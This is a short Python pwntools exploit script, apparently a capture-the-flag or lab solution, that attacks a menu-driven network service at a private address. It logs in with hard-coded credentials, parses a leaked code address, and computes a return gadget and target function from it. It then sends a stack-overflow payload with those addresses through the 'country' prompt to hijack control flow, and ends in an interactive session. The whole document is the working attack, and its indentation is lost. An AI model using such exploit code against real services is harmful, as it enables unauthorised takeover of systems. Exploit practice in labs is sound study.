from pwn import *
import re
p=remote("192.168.220.165", 4444)
def user_login():
p.recvuntil(b"username:")
p.sendline(b"admin")
p.recvuntil(b"password:")
p.sendline(b"123456")
def view_configuration_file():
p.recvuntil(b"option:")
p.sendline(b"1")
def write_configuration_file():
data=p.recvuntil(b"option:")
filter=re.compile(b"conf.loadstr=0x(.*?)\n")
res=filter.findall(data)
if res and res[0]:
addr_loadstr=int(res[-1], 16)
p.sendline(b"2")
p.recvuntil(b"cert_name:")
p.sendline(b"abc")
p.recvuntil(b"country:")
addr_fn4=0x3994-0x245B+addr_loadstr
ret_gadget=0x3763-0x245B+addr_loadstr
ret_target_addr=addr_fn4
payload=b"aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa"+p64(ret_gadget)+p64(ret_target_addr)
p.sendline(payload)
def view_debug_file():
p.recvuntil(b"option:")
p.sendline(b"3")
def view_memory_size():
p.recvuntil(b"option:")
p.sendline(b"4")
def exp():
user_login()
view_configuration_file()
view_debug_file()
write_configuration_file()
p.interactive()
def main():
exp()
if "__main__"==__name__:
main()
